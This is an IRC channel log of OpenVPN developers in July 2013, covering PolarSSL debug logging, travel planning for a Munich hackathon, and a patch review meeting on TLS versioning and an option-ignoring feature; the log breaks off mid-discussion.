[~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel --- Day changed Sun Jul 07 2013 00:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 00:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 01:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 01:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 01:43 -!- Netsplit *.net <-> *.split quits: @cron2 02:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 02:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 02:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 02:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 03:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 03:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 03:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 03:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 04:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 04:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 05:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 05:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 05:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 05:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 05:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 05:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 06:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 06:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 06:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 07:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 07:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 07:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 07:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 08:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 08:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 08:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 08:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 09:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 09:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 09:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 10:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 10:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 11:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 11:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 12:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 12:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 13:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 13:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:37 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:38 -!- mode/#openvpn-devel [+o cron2] by ChanServ 14:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 14:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 14:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:34 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 14:38 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 14:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 15:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 16:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 16:07 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn-devel --- Day changed Mon Jul 08 2013 04:24 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 245 seconds] 04:25 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 05:20 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 07:34 -!- mattock_afk is now known as mattock 09:11 <@ecrist> Whoopie: fix your damn connection 09:19 <@cron2> 1+ 09:19 <@cron2> +1 10:21 -!- raidz_away is now known as raidz 15:43 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 15:44 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 15:47 -!- dazo is now known as dazo_afk 19:45 -!- raidz is now known as raidz_away --- Day changed Tue Jul 09 2013 01:15 < Whoopie> ecrist, cron2: sorry guys, since changing my connection to IPv6, the irc proxy flaps. 01:17 < Whoopie> Could someone tell me how to enable debugging output in the PolarSSL library? I need to collect some traces. I enabled POLARSSL_DEBUG_C in include/polarssl/config.h and compiled OpenVPN with "--enable-debug", but the output (verb 11) doesn't show any debug output. 03:12 <@mattock> cron2, dazo: James was when these two patches would be merged: http://article.gmane.org/gmane.network.openvpn.devel/7678 03:12 <@mattock> http://article.gmane.org/gmane.network.openvpn.devel/7678 03:12 < vpnHelper> Title: Gmane -- OpenVPN Versioning (at article.gmane.org) 03:12 < vpnHelper> Title: Gmane -- OpenVPN Versioning (at article.gmane.org) 03:12 <@mattock> they were ACKed in the previous meeting: http://thread.gmane.org/gmane.network.openvpn.devel/7744 03:12 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 03:17 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Quit: Proxy shutdown] 03:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 03:24 < syzzer> Whoopie: did you also enable POLARSSL_DEBUG_MSG? That should give you more TLS debugging output 03:26 < Whoopie> syzzer: grep'ing for it just shows: "ChangeLog: * Removed redundant POLARSSL_DEBUG_MSG define" 03:29 < syzzer> ah, it's been removed, that actually makes sense 03:31 < Whoopie> syzzer: do I maybe have to set a debug level somewhere? 03:35 < syzzer> I do not recall having to do something like that... 03:37 < syzzer> ah, the function that's used for generating output is my_debug in OpenVPN's ssl_polarssl.c 03:38 < syzzer> that seems to output information only for loglevel 1 03:38 -!- dazo_afk is now known as dazo 03:38 < syzzer> I guess that could be improved... 04:07 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 04:12 -!- Netsplit *.net <-> *.split quits: syzzer, Whoopie, jgeboski, MeanderingCode, riddle 04:13 -!- Netsplit over, joins: jgeboski 04:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 04:15 -!- mode/#openvpn-devel [+o pekster] by ChanServ 04:15 -!- syzzer [~steffan@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 04:15 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 04:15 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 04:15 <@plaisthos> mattock: Now we have two :( 04:15 <@plaisthos> https://community.openvpn.net/openvpn/wiki/Patches 04:15 < vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 04:16 <@mattock> ah 04:16 <@mattock> :D 04:16 <@mattock> plaisthos: is that page auto-generated somehow? 04:17 <@mattock> looks so fancy 04:17 <@mattock> :P 04:17 <@mattock> looks nicer than my page 04:17 <@plaisthos> mattock: not autogenerated 04:17 <@mattock> ah yes, there's some python script 04:17 <@plaisthos> I wrote a small script which takes an email as input 04:18 <@mattock> I'll take a look at it 04:18 <@mattock> let's use your page 04:18 <@mattock> I'll mail about it to openvpn-devel 04:20 <@mattock> done 04:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 04:28 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 04:38 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 04:42 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 04:53 <@cron2> mattock: too busy... "soonish" 05:25 <@mattock> cron2: ok 05:25 <@mattock> maybe james could push his ACKed patches himself? 05:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 05:37 <@cron2> now he's hiding again... 05:37 <@plaisthos> :) 05:38 <@plaisthos> hm a user explain my his openvpn app worked with tap and now it is broken on his new phone. 05:38 * plaisthos has a hard time believing that 05:46 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:09 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:09 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 06:09 -!- mattock_afk is now known as mattock 07:16 <@cron2> mattock: funny that you bring up the idea - I have been thinking about this this morning as well :-) 07:17 <@cron2> mattock: I see no reason why James should not have commit rights as well if he's willing - I think the current situation more comes from the historic svn/git schism... 07:17 <@cron2> and since dazo and I tend to be busy "in waves", it would certainly help avoiding stalls 07:18 <@cron2> we might need to be a bit more explicit about "what goes into master, what goes into release/2.3", or just discuss it in individual cases where it's not obvious 07:18 <@mattock> yeah 07:19 -!- mattock is now known as mattock_afk 07:22 <@cron2> and there he goes again... 08:49 -!- mattock_afk is now known as mattock 09:19 -!- mattock is now known as mattock_afk 09:50 -!- mattock_afk is now known as mattock 10:18 -!- raidz_away is now known as raidz 13:45 < Whoopie> syzzer: are you there? 13:50 <@dazo> I wouldn't expect so ... he's in Europe and it's close to 9 in the evening 13:51 < Whoopie> dazo: ok, no problem. 13:52 < Whoopie> dazo: How can I make sure that the debug output has no confidental things in it? 13:53 <@dazo> Whoopie: depends on what you consider confidential 13:54 <@dazo> In general, very little is confidential in openvpn log files, from my perspective ... and when wanting help, it's not good to remove/manipulate too much either 13:54 <@pekster> At higher debug levels (when built with enable_debug=yes) you'll end up with keying material in the logs 13:54 <+krzee> setup a non-production setup that shows the problem and dont consider anything confidential 13:54 <@dazo> krzee++ 13:55 <@dazo> pekster: ahh, I wasn't aware of that ... but I seldom push the log level higher than 5 13:55 <@dazo> I usually find all I need at 4 13:55 <@pekster> Yup, same here (usually if I need more I run it out of gdb anyway as it's more useful) 13:55 <@dazo> exactly :( 13:55 <@dazo> :) 13:57 < Whoopie> krzee: true --- Log closed Tue Jul 09 14:11:16 2013 --- Log opened Tue Jul 09 21:53:23 2013 21:53 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 21:53 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 1 voices, 11 normal] 21:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 21:53 -!- Irssi: Join to #openvpn-devel was synced in 2 secs --- Log closed Wed Jul 10 00:35:42 2013 --- Log opened Wed Jul 10 06:58:53 2013 06:58 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:58 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 1 voices, 11 normal] 06:58 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:58 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 08:24 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:24 -!- mode/#openvpn-devel [+o plai] by ChanServ 08:24 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 08:24 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:29 -!- Netsplit *.net <-> *.split quits: ender|, +krzee, @plaisthos 08:29 -!- krzie is now known as krzee 08:31 -!- Netsplit over, joins: ender| 08:40 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 245 seconds] --- Log closed Wed Jul 10 08:48:44 2013 --- Log opened Wed Jul 10 10:11:39 2013 10:11 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:11 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 1 voices, 9 normal] 10:11 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 10:11 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 10:50 -!- mattock is now known as mattock_afk 13:21 -!- mattock_afk is now known as mattock 15:27 -!- mattock is now known as mattock_afk 15:53 -!- Netsplit *.net <-> *.split quits: syzzer 16:07 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:07 -!- mode/#openvpn-devel [+o plai] by ChanServ 16:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 16:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 16:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Wed Jul 10 21:35:09 2013 --- Log opened Thu Jul 11 07:11:10 2013 07:11 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:11 -!- Irssi: #openvpn-devel: Total of 18 nicks [7 ops, 0 halfops, 1 voices, 10 normal] 07:11 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:11 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:11 -!- You're now known as ecrist 07:15 <@cron2> dazo: sortof, either Nov1 or Nov15, $boss already agreed to let us use $corp facilities \o/ 07:16 <@d12fk> i'll probably be there as well, just couldn't decide which date fits best so far =) 07:16 * d12fk will make it on any date most likely 07:17 <@cron2> Nov1 is Allerheiligen which might make "find sufficient amounts of beer" more complicated 07:17 * cron2 decides on Nov15-Nov17 07:31 <@d12fk> good hopefully better weather than in brussels =) 07:42 <@cron2> well... November is not a particular good season here either, but our heating works, and the coffee is free :-) 07:44 <@d12fk> excellent =) 07:44 <@d12fk> if we're lucky we'll have föhn 07:45 <@d12fk> where's the office 07:45 <@cron2> just writing an e-mail 07:45 <@d12fk> k 07:54 <@cron2> mail sent, throw your questions at me, I'll build a wiki page and add answers :-) 08:16 <@dazo> Are there any hotels we should stay far away from in the neighbourhood? I see a jungle of hotels fairly close to Hauptbahnhof 08:16 <@cron2> I'm not really sure. Hauptbahnhof has a number of reputable hotels, but "Schillerstrasse" (directly at Hauptbahnhof) is slightly redlight-ish, so you want to avoid that 08:17 * dazo moves the focus towards the left side 08:17 <@d12fk> motel one looks close and afordable while stylish 08:18 <@cron2> motel one near sendlinger tor should be fine 08:18 <@d12fk> Landsberger Straße 79 08:18 <@cron2> oh? they have yet another one? 08:18 * cron2 looks 08:18 <@dazo> There's Hahn Hotel too 08:18 <@dazo> fairly close 08:20 <@d12fk> and very bavarian, good for you tourists =) 08:20 <@cron2> yeah, Motel One "munich city west" should be fine - it's about 10 minutes walking distance to the office, there's food around :-) 08:20 <@d12fk> http://www.hotel-hahn.de/en/singleroom 08:21 < vpnHelper> Title: Single Room | Hotel Hahn, Munich (at www.hotel-hahn.de) 08:22 <@d12fk> wow hotels are not too cheap in munich 08:33 <@dazo> I have a possible deal at Hahn, including flight (fri-sun) for €440 .... not too cheap, but fairly reasonable 08:42 <@cron2> ah, including flight... otherwise that number would have scared me quite a bit 08:45 <@dazo> wow ... I found another site with even better prices 08:45 <@cron2> so what's the price for motel one? 08:46 <@dazo> I haven't found motel one yet 08:48 <@cron2> www.motel-one.com/de/, claims 69 EUR/night for this weekend, plus 7.50 for bnreakfast 08:48 <@d12fk> http://www.hotel.de/Hotel/Detail?hs_hmid=223734 08:48 < vpnHelper> Title: Motel One München-City-West in München (Deutschland) einfach günstiger buchen (at www.hotel.de) 08:49 <@d12fk> seems to be noisy being located at a main road 08:50 <@dazo> When I book flight and hotel together I usually get better offers ... as the cheap airlines have late flights on friday and return only on monday evening 08:50 <@plai> seem to be 120 EURO from Paderborn to Munich 08:50 <@plai> no matter if I choose to fly or to use the train 08:51 <@plai> the motel one I were in Berlin was good 08:52 <@d12fk> besides the noise no big issues it seems 08:52 <@plai> no fancy stuff like Mini Bar but everything they had was good 08:53 <@plai> like a good breakfast but without these fancy grilled bacon or so 08:55 <@d12fk> cron2: is it the #-shaped building we'll be in? 08:56 <@plai> cron2: Which days are planned to work? I.e. should plan to arrive at Friday or Saturday? 08:57 <@dazo> Okay, I'm booking now at Hahn Hotel ... I doubt I can beat €270 including flight 08:58 <@plai> dazo: including flight? 08:58 <@plai> wow 08:58 <@d12fk> ?! how did you get a rate this cheap? 08:58 <@dazo> crap ... departure flight was modified to 16 08:59 <@dazo> expedia.no .... 09:00 <@d12fk> 2 nights? 09:00 <@dazo> one ... the system fooled me ... Checking again 09:00 <@d12fk> ah ok 09:01 <@d12fk> so you'll arrive friday 09:01 <@dazo> yeah 09:01 <@dazo> okay, €397 with the same flight 09:02 <@dazo> but the fun is ... If I book the flight separate .... the same flights alone is €400 09:03 <@cron2> d12fk: yes, and the "Haus 4" entrance is on the inside in the north-west corner 09:04 <@plai> dazo: which booking portal are you using? 09:04 <@cron2> plai: which days are planned for work depends on "who's there at what time" :-) - I think we should plan for "most work gets done on Saturday and Sunday until early afternoon" or so 09:04 <@dazo> plai: expedia 09:06 <@plai> hm expedia does not offer me the motel one 09:09 <@dazo> right, which is why I chose Hahn :) 09:09 <@dazo> there were cheaper too, but farther away and the difference wasn't that big 09:13 <@cron2> ok, afk now -> back in about 3 hours 09:18 <@plai> expedia is stupid 09:18 <@plai> Changes the departing airport .... 09:19 <@dazo> it changed my departure date :-P 09:20 <@plai> Why fly from a aiport 10 km when you can fly an aiport 100 km apart 09:20 <@dazo> right 09:23 <@plai> hm 09:23 <@dazo> I hate those marketing people who decided that Oslo has 3 airports ... 2 of them are in different cities, with 1-2 hours travel time from Oslo .... Or that Copenhagen got two, the other one is in Malmö in Sweden (which gives interesting visa challenges for some travellers) 09:49 <@plai> I guess Shengen does not apply for non EU members? 10:03 <@d12fk> danish airport in sweden? 10:56 <@plai> the aiports of malmo and Copenhagen are probably closer than the London Airports 10:56 <@d12fk> or frankfurt and frankfurt hahn 10:58 <@plai> or Paderborn and Hannvor (I am looking at you, Expedia!) 11:05 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o raidz_away] by ChanServ 11:05 -!- raidz_away is now known as raidz 11:21 <@dazo> d12fk: it takes ~40 minutes with the train from Malmö to Copenhagen .... but yeah, that's the wtf 11:23 <@d12fk> dazo: taken at least 1:30 from hahn to frankfurt city, more likely 2h 11:23 <@mattock> sent meeting invitation 11:23 <@d12fk> thing is: hahn has nothing to do with frankfurt besides the name =) 11:24 <@d12fk> oh and you have to go by bus, because there's no trains to hahn =) 11:24 <@mattock> a bit late, managed to spend the entire day at the city 11:24 <@dazo> sounds like Oslo Sandefjord Torp (TRF) .... (Torp is the airport 15 minutes outside Sandefjord, which is a city 2 hours away from Oslo) 11:24 <@d12fk> yes sound really like the same thing 12:48 <@cron2> jftr, I'm back, but will be late for the meeting... $daughter[0] is stalling going to bed, so with reading and singing, I'll propably show up in half an hour or so 13:01 <@mattock> meeting time... 13:01 <@mattock> who's here 13:01 <@mattock> ? 13:01 * plai is 13:01 * syzzer reports in 13:02 <@mattock> james should get here in a minute 13:03 <@mattock> we just finished an internal meeting 13:03 <@mattock> dazo: are you there? 13:03 <@dazo> mattock: I am 13:03 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn-devel 13:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:03 <@dazo> lets wait for james ... maybe cron2 will manage too 13:03 <@dazo> ahh, there he was :) 13:03 <@jamesyonan> hi guys 13:04 <@dazo> hey, jamesyonan! 13:04 < syzzer> hi :) 13:04 <@plai> hey 13:04 -!- plai is now known as plaisthos 13:04 <@mattock> hi 13:05 <@mattock> ok, so topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2013-07-11 13:05 < vpnHelper> Title: Topics-2013-07-11 – OpenVPN Community (at community.openvpn.net) 13:05 <@mattock> basically review the remaining unreviewed patches, and if time permits, look at some fairly recent bug reports 13:05 <@mattock> plaisthos has setup a patch tracking page for us 13:06 <@plaisthos> Which may not be complete 13:06 <@mattock> yeah, could be, but we can amend it as necessary 13:06 <@mattock> so, first patch: TLS versioning: http://news.gmane.org/find-root.php?message_id=%3C51C77F12.1090802@openvpn.net%3E 13:06 < vpnHelper> Title: Gmane Loom (at news.gmane.org) 13:07 <@mattock> was this ACKed already and awaiting merge? 13:07 < syzzer> I believe so 13:07 <@dazo> I think so too 13:07 <@dazo> cron2 and I have just been too busy ... but I can pull it in now, if I find the ACKs 13:08 <@mattock> ok, next one: "Add support to ignore specific options": http://news.gmane.org/find-root.php?message_id=%3C1371818610-4599-1-git-send-email-arne@rfc2549.org%3E 13:08 < vpnHelper> Title: Gmane Loom (at news.gmane.org) 13:08 <@mattock> dazo: I think the ACKs are in previous meeting's chatlog 13:08 < syzzer> dazo: part of the ACK'ing was during the previous meeting I think 13:08 <@mattock> I mean summary 13:09 <@jamesyonan> yes, TLS versioning and "setenv opt" patches were ACKed in last meeting. 13:09 <@dazo> yepp 13:09 <@mattock> the setenv opt patch is missing from that page, I can summon a link to it 13:09 <@cron2> re 13:10 <@mattock> actually, there's a link to that in previous meeting's summary also 13:10 <@cron2> dazo: please do so, so it's done :-) 13:10 <@plaisthos> mattock: the 06-12 OpenVPN versioning 13:11 <@mattock> yep, that big and messy thread :) 13:13 <@mattock> so what about "Add support to ignore specific options": http://news.gmane.org/find-root.php?message_id=%3C1371818610-4599-1-git-send-email-arne@rfc2549.org%3E 13:13 < vpnHelper> Title: Gmane Loom (at news.gmane.org) 13:13 <@mattock> was this reviewed already? 13:13 <@cron2> it was written to meet what we discussed at one of the previous meetings, so "feature ACK", but I didn't review it yet. 13:13 * cron2 looks 13:13 <@dazo> I think we wanted jamesyonan to have a look at that one 13:13 <@mattock> yeah, that's what I recall also 13:14 <@cron2> dazo: lame excuse :-) - everyone was just too busy 13:14 <@dazo> hehe 13:15 <@dazo> jamesyonan: did you push out your tls-version.patch as a commit? Or do you have a suitable commit message for it handy? 13:15 <@cron2> code-nack, anyway, there's weird stuff happening in the first for() loop which counts up numignored++ to then set it to "i"... 13:17 <@jamesyonan> TLS version negotiation patch is in two parts: (1) https://github.com/jamesyonan/openvpn/commit/03a5599202bdc3ba07983dc4efdae387fb8fb436 and 13:17 < vpnHelper> Title: TLS version negotiation · 03a5599 · jamesyonan/openvpn · GitHub (at github.com) 13:17 <@jamesyonan> and (2) https://github.com/jamesyonan/openvpn/commit/d23005413b0e0f28a3c48a6342f494763d5c9b40 13:17 < vpnHelper> Title: Change to TLS version negotiation patch: remove implicit assumption · d230054 · jamesyonan/openvpn · GitHub (at github.com) 13:17 <@dazo> jamesyonan: ahh, okay ... I'll merge those two messages together 13:17 <@jamesyonan> "setenv opt" patch is here: https://github.com/jamesyonan/openvpn/commit/27713761e4110bb92f1c6dfe85db291e8c6e0f56 13:17 < vpnHelper> Title: Added "setenv opt" directive prefix. If present, and if the · 2771376 · jamesyonan/openvpn · GitHub (at github.com) 13:18 <@jamesyonan> both patches should cleanly apply to master 13:18 <@dazo> perfect! 13:19 <@plaisthos> cron2: ah yes. Code is not nice but should work anyway since numignored and i are the same value at that part in the cod 13:19 <@cron2> yeah, but I don't want to commit that :-) 13:20 <@plaisthos> cron2: I will send a fixed version later 13:20 <@plaisthos> But about my patch 13:21 <@cron2> overall I'm fine, I'm just (as usual) picky about the details :) 13:21 <@plaisthos> To ignore more than MAXPARM options I need multiple --ignore-unkown-option statements 13:21 <@plaisthos> At the moment I allocated a new array everytime time with the right siz 13:22 <@plaisthos> there seem to be no way to explicitly free a gc object other than to free the complete gc, right? 13:22 <@cron2> this is not really pretty, but the alternative would be "every new ignore-unknown-option statement overwrites all the previous ones" - which would work, like this: 13:22 <@cron2> ignore-unknown-option foo bar 13:22 <@cron2> foo 123 13:22 <@cron2> bar 456 13:22 <@cron2> ignore-unknown-option somethingelse 13:22 <@cron2> somethingelse true 13:23 <@cron2> ... much easier code-wise, but would upset dazo regarding "usage semantics" 13:23 <@plaisthos> And which only works for people who really understand how openvpn parses the config 13:24 <@cron2> or we declare an upper limit of "20 unknown options max"... 13:25 <@dazo> cron2: I can live with that "usage semantic", as long as it's documented in the man page 13:25 <@dazo> that the last usage of that option overrides previous settings 13:25 <@dazo> (that's not an uncommon usage semantic in OpenVPN) 13:26 <@plaisthos> I don't know 13:27 <@plaisthos> perhaps in the future we might to abolish this usage semantic 13:27 * cron2 opts for a static upper limit, and the whole array is allocated once with the max. size, and then only appended to 13:27 <@plaisthos> jamesyonan: how does OpenVPN 3 parse the configuration? Is it still that the latest option "wins?" 13:27 <@jamesyonan> It might be better if multiple ignore-unknown-option instances append to a global list 13:27 <@cron2> (having a max. of "50" or so wouldn't really harm, given that it only stores pointers - so that's 200 bytes for 50 slots... 13:28 <@dazo> or ... 8 * 50, on 64 bit 13:28 <@jamesyonan> the latest builds of OpenVPN 3 follow the OpenVPN 2 model where latest option wins (for singular options that don't aggregate) 13:28 <@cron2> but on a 64 bit machine, I wouldn't care :) 13:28 <@dazo> heh 13:29 <@dazo> I agree, the static solution for 50 might be good enough, at least for the code simplicity 13:29 <@jamesyonan> you could use a linked list to eliminate memory penalty if option is unused and have potential unlimited size 13:29 <@cron2> ... and it would save 100 bytes of code, at least, and "reallocing using the same effectively-persistent gc" might not be such a good use of memory either 13:29 <@dazo> jamesyonan: which options aggregate today? 13:29 <@plaisthos> cron2: I opted against the static buffer method because I did want to set the limited very high and also I did not want to impose a limit on a function that future version may depend on 13:30 <@plaisthos> dazo: remote 13:30 <@dazo> oh, true! 13:30 * dazo only thought of <connection> blocks, but that's a slightly different story 13:30 <@cron2> how many yet-unknown options do we expect to introduce in the near future? 13:31 <@plaisthos> cron2: we already have some 13:31 <@cron2> s/near/foreseeable/ 13:31 <@plaisthos> like ignore-options ip-win32-method xxxx 13:31 <@jamesyonan> in OpenVPN 3 "ca" and "extra-certs" aggregate 13:31 <@jamesyonan> in addition to remote and <connection> blocks 13:31 <@cron2> plaisthos: indeed, but we're talking about "less than 10" today, so would it be a serious limit if we cap at 50? 13:32 <@mattock> caps can always be upped without breaking anything, right? 13:32 <@cron2> mattock: in that case, no 13:32 <@mattock> ah 13:33 <@plaisthos> to get an idea 13:33 <@cron2> because we're talking about "send configs to old and even older clients that might not be able to handle it" 13:33 <@plaisthos> look at the list in my client to get an idea 13:33 <@plaisthos> http://code.google.com/p/ics-openvpn/source/browse/src/de/blinkt/openvpn/core/ConfigParser.java#231 13:33 < vpnHelper> Title: ConfigParser.java - ics-openvpn - Openvpn for Android 